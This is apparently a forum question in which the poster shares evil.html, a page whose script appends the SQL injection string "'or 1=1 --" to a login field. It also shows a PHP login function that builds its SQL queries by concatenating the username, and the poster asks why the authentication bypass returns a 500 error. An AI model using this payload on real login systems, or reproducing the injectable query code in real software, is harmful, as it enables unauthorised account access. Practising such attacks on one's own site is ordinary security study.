Background
I've made a html page evil.html whereby when the user clicks on it they should be able to enter a username and click a submit button thereby logging them into the site that I created.
I would expect that the injection 'or 1=1 --
would mean if I submit a user with username test
then the SQL query results in
SELECT * FROM users WHERE userid='test' or 1=1 -- AND password='$hash'
which should mean that my user test
is authenticated. However it is throwing a 500 where there are +
signs where the spacing in the injection are.
My login parameter in the request looks like this:
login:
"test'or+1=1+--"
Does anyone have any idea why this exploit is not working?
evil.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<script>
function attack() {
document.querySelector('#login').value += "'or 1=1 --";
}
</script>
</head>
<body>
<form action="http://example.com/" onsubmit="attack();" method="POST">
<input name="login" id="login" value="">
<button>Submit</button>
</form>
</body>
</html>
login.php
function login($username, $password) {
$sql = "SELECT * FROM users WHERE userid='$username'";
$result = $this->db->query($sql);
$user = $result->next();
if (!$user) {
return false;
}
$salt = $user['salt'];
$hash = md5($salt.$password);
$sql = "SELECT * FROM users WHERE userid='$username' AND password='$hash'";
$userdata = $this->db->query($sql)->next();
if ($userdata) {
// user is logged in
// doStuff()
}
}